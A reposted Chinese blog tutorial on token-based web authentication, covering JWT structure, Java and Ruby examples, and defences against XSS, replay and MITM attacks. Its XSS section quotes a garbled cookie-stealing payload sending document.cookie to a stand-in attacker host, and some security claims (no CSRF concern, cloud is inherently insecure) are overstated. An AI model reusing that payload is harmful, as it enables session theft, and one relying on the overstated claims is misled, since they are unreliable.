【轉】基於Token的WEB後臺認證機制

eedc發表於2017-01-17
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幾種常用的認證機制

HTTP Basic Auth

HTTP Basic Auth簡單點說明就是每次請求API時都提供使用者的username和password，簡言之，Basic Auth是配合RESTful API 使用的最簡單的認證方式，只需提供使用者名稱密碼即可，但由於有把使用者名稱密碼暴露給第三方客戶端的風險，在生產環境下被使用的越來越少。因此，在開發對外開放的RESTful API時，儘量避免採用HTTP Basic Auth

OAuth

OAuth（開放授權）是一個開放的授權標準，允許使用者讓第三方應用訪問該使用者在某一web服務上儲存的私密的資源（如照片，視訊，聯絡人列表），而無需將使用者名稱和密碼提供給第三方應用。

OAuth允許使用者提供一個令牌，而不是使用者名稱和密碼來訪問他們存放在特定服務提供者的資料。每一個令牌授權一個特定的第三方系統（例如，視訊編輯網站)在特定的時段（例如，接下來的2小時內）內訪問特定的資源（例如僅僅是某一相簿中的視訊）。這樣，OAuth讓使用者可以授權第三方網站訪問他們儲存在另外服務提供者的某些特定資訊，而非所有內容
下面是OAuth2.0的流程：

這種基於OAuth的認證機制適用於個人消費者類的網際網路產品，如社交類APP等應用，但是不太適合擁有自有認證許可權管理的企業應用；

Cookie認證機制就是為一次請求認證在服務端建立一個Session物件，同時在客戶端的瀏覽器端建立了一個Cookie物件；通過客戶端帶上來Cookie物件來與伺服器端的session物件匹配來實現狀態管理的。預設的，當我們關閉瀏覽器的時候，cookie會被刪除。但可以通過修改cookie 的expire time使cookie在一定時間內有效；

Token Auth

Token Auth的優點

Token機制相對於Cookie機制又有什麼好處呢？

  • 支援跨域訪問: Cookie是不允許垮域訪問的，這一點對Token機制是不存在的，前提是傳輸的使用者認證資訊通過HTTP頭傳輸.
  • 無狀態(也稱：服務端可擴充套件行):Token機制在服務端不需要儲存session資訊，因為Token 自身包含了所有登入使用者的資訊，只需要在客戶端的cookie或本地介質儲存狀態資訊.
  • 更適用CDN: 可以通過內容分發網路請求你服務端的所有資料（如：javascript，HTML,圖片等），而你的服務端只要提供API即可.
  • 去耦: 不需要繫結到一個特定的身份驗證方案。Token可以在任何地方生成，只要在你的API被呼叫的時候，你可以進行Token生成呼叫即可.
  • 更適用於移動應用: 當你的客戶端是一個原生平臺（iOS, Android，Windows 8等）時，Cookie是不被支援的（你需要通過Cookie容器進行處理），這時採用Token認證機制就會簡單得多。
  • CSRF:因為不再依賴於Cookie，所以你就不需要考慮對CSRF（跨站請求偽造）的防範。
  • 效能: 一次網路往返時間（通過資料庫查詢session資訊）總比做一次HMACSHA256計算 的Token驗證和解析要費時得多.
  • 不需要為登入頁面做特殊處理: 如果你使用Protractor 做功能測試的時候，不再需要為登入頁面做特殊處理.
  • 基於標準化:你的API可以採用標準化的 JSON Web Token (JWT). 這個標準已經存在多個後端庫（.NET, Ruby, Java,Python, PHP）和多家公司的支援（如：Firebase,Google, Microsoft）.

基於JWT的Token認證機制實現

JSON Web Token（JWT）是一個非常輕巧的規範。這個規範允許我們使用JWT在使用者和伺服器之間傳遞安全可靠的資訊。其

JWT的組成

一個JWT實際上就是一個字串，它由三部分組成，頭部、載荷與簽名。
載荷（Payload）

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "jrocket@example.com", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "jrocket@example.com", 
  "Role": [ "Manager", "Project Administrator" ] 
}
  • iss: 該JWT的簽發者，是否使用是可選的；
  • sub: 該JWT所面向的使用者，是否使用是可選的；
  • aud: 接收該JWT的一方，是否使用是可選的；
  • exp(expires): 什麼時候過期，這裡是一個Unix時間戳，是否使用是可選的；
  • iat(issued at): 在什麼時候簽發的(UNIX時間)，是否使用是可選的；
    其他還有：
  • nbf (Not Before)：如果當前時間在nbf裡的時間之前，則Token不被接受；一般都會留一些餘地，比如幾分鐘；，是否使用是可選的；

將上面的JSON物件進行[base64編碼]可以得到下面的字串。這個字串我們將它稱作JWT的Payload（載荷）。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知識：Base64是一種基於64個可列印字元來表示二進位制資料的表示方法。由於2的6次方等於64，所以每6個位元為一個單元，對應某個可列印字元。三個位元組有24個位元，對應於4個Base64單元，即3個位元組需要用4個可列印字元來表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder，用它們可以非常方便的完成基於 BASE64 的編碼和解碼

頭部（Header）
JWT還需要一個頭部，頭部用於描述關於該JWT的最基本的資訊，例如其型別以及簽名所用的演算法等。這也可以被表示成一個JSON物件。

{
"typ": "JWT",
"alg": "HS256"
}

在頭部指明瞭簽名演算法是HS256演算法。
當然頭部也要進行BASE64編碼，編碼後的字串如下：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

簽名（Signature）
將上面的兩個編碼後的字串都用句號.連線在一起（頭部在前），就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最後，我們將上面拼接完的字串用HS256演算法進行加密。在加密的時候，我們還需要提供一個金鑰（secret）。如果我們用mystar作為金鑰的話，那麼就可以得到我們加密後的內容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最後將這一部分簽名也拼接在被簽名的字串後面，我們就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我們的請求URL中會帶上這串JWT字串：

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

 

認證過程

下面我們從一個例項來看如何運用JWT機制實現認證：

登入

  • 第一次認證：第一次登入，使用者從瀏覽器輸入使用者名稱/密碼，提交後到伺服器的登入處理的Action層（Login Action）；
  • Login Action呼叫認證服務進行使用者名稱密碼認證，如果認證通過，Login Action層呼叫使用者資訊服務獲取使用者資訊（包括完整的使用者資訊及對應許可權資訊）；
  • 返回使用者資訊後，Login Action從配置檔案中獲取Token簽名生成的祕鑰資訊，進行Token的生成；
  • 生成Token的過程中可以呼叫第三方的JWT Lib生成簽名後的JWT資料；
  • 完成JWT資料簽名後，將其設定到COOKIE物件中，並重定向到首頁，完成登入過程；

請求認證

基於Token的認證機制會在每一次請求中都帶上完成簽名的Token資訊，這個Token資訊可能在COOKIE
中，也可能在HTTP的Authorization頭中；

  • 客戶端（APP客戶端或瀏覽器）通過GET或POST請求訪問資源（頁面或呼叫API）；
  • 認證服務作為一個Middleware HOOK 對請求進行攔截，首先在cookie中查詢Token資訊，如果沒有找到，則在HTTP Authorization Head中查詢；
  • 如果找到Token資訊，則根據配置檔案中的簽名加密祕鑰，呼叫JWT Lib對Token資訊進行解密和解碼；
  • 完成解碼並驗證簽名通過後，對Token中的exp、nbf、aud等資訊進行驗證；
  • 全部通過後，根據獲取的使用者的角色許可權資訊，進行對請求的資源的許可權邏輯判斷；
  • 如果許可權邏輯判斷通過則通過Response物件返回；否則則返回HTTP 401；

對Token認證的五點認識

對Token認證機制有5點直接注意的地方：

  • 一個Token就是一些資訊的集合；
  • 在Token中包含足夠多的資訊，以便在後續請求中減少查詢資料庫的機率；
  • 服務端需要對cookie和HTTP Authrorization Header進行Token資訊的檢查；
  • 基於上一點，你可以用一套token認證程式碼來面對瀏覽器類客戶端和非瀏覽器類客戶端；
  • 因為token是被簽名的，所以我們可以認為一個可以解碼認證通過的token是由我們系統發放的，其中帶的資訊是合法有效的；

JWT的JAVA實現

Java中對JWT的支援可以考慮使用JJWT開源庫；JJWT實現了JWT, JWS, JWE 和 JWA RFC規範；下面將簡單舉例說明其使用：
生成Token碼

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

解碼和驗證Token碼

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

基於JWT的Token認證的安全問題

確保驗證過程的安全性

如何保證使用者名稱/密碼驗證過程的安全性；因為在驗證過程中，需要使用者輸入使用者名稱和密碼，在這一過程中，使用者名稱、密碼等敏感資訊需要在網路中傳輸。因此，在這個過程中建議採用HTTPS，通過SSL加密傳輸，以確保通道的安全性。

如何防範XSS Attacks

瀏覽器可以做很多事情，這也給瀏覽器端的安全帶來很多隱患，最常見的如：XSS攻擊：跨站指令碼攻擊(Cross Site Scripting)；如果有個頁面的輸入框中允許輸入任何資訊，且沒有做防範措施，如果我們輸入下面這段程式碼：

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

這段程式碼會盜取你域中的所有cookie資訊，併傳送到 hackmeplz.com；那麼我們如何來防範這種攻擊呢？

    • XSS攻擊程式碼過濾
      移除任何會導致瀏覽器做非預期執行的程式碼，這個可以採用一些庫來實現（如：js下的js-xss，JAVA下的XSS HTMLFilter，PHP下的TWIG）；如果你是將使用者提交的字串儲存到資料庫的話（也針對SQL隱碼攻擊），你需要在前端和服務端分別做過濾；
    • 採用HTTP-Only Cookies
      通過設定Cookie的引數： HttpOnly; Secure 來防止通過JavaScript 來訪問Cookie；
      如何在Java中設定cookie是HttpOnly呢？
      Servlet 2.5 API 不支援 cookie設定HttpOnly
      http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
      建議升級Tomcat7.0，它已經實現了Servlet3.0
      http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
      或者通過這樣來設定： 
      //設定cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//設定多個cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//設定https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

      在實際使用中，我們可以使FireCookie檢視我們設定的Cookie 是否是HttpOnly；

      如何防範Replay Attacks

      所謂重放攻擊就是攻擊者傳送一個目的主機已接收過的包，來達到欺騙系統的目的，主要用於身份認證過程。比如在瀏覽器端通過使用者名稱/密碼驗證獲得簽名的Token被木馬竊取。即使使用者登出了系統，黑客還是可以利用竊取的Token模擬正常請求，而伺服器端對此完全不知道，以為JWT機制是無狀態的。
      針對這種情況，有幾種常用做法可以用作參考：
      1、時間戳 +共享祕鑰
      這種方案，客戶端和服務端都需要知道：

      • User ID
      • 共享祕鑰

      客戶端

      auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token釋出時間
  exp: Time.now.to_i + 2   # 指定token過期時間為2秒後，2秒時間足夠一次HTTP請求，同時在一定程度確保上一次token過期，減少replay attack的概率；
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

      服務端

    • class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解碼JWT，並獲取User ID，這個時候不對Token簽名進行檢查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 檢查該使用者是否存在於資料庫
    @current_user = User.find(payload['user_id'])
    
    # Step 3: 檢查Token簽名是否正確.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內建立的.
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # 如果過期則返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

      2、時間戳 +共享祕鑰+黑名單 （類似Zendesk的做法）
      客戶端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通過jti確保一個token只使用一次，防止replace attack
  iat: Time.now.to_i,       # 指定token釋出時間.
  exp: Time.now.to_i + 2    # 指定token過期時間為2秒後
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務端

def set_current_user_from_jwt_token
  # 前面的步驟參考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # 返回401
  end
  
  # 下面將檢查確保這個JWT之前沒有被使用過
  # 使用Redis的原子操作
  
  # The redis 的鍵: <user id>:<one-time use token>
  key = "#{payload['user_id']}:#{payload['jti']}"
  
  # 看鍵值是否在redis中已經存在. 如果不存在則返回nil. 如果存在則返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 進行鍵值過期檢查
  redis.expireat(key, payload['exp'] + 2)
end

如何防範MITM （Man-In-The-Middle）Attacks

所謂MITM攻擊，就是在客戶端和伺服器端的互動過程被監聽，比如像可以上網的咖啡館的WIFI被監聽或者被黑的代理伺服器等；
針對這類攻擊的辦法使用HTTPS，包括針對分散式應用，在服務間傳輸像cookie這類敏感資訊時也採用HTTPS；所以雲端計算在本質上是不安全的。

參考目錄：
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

 

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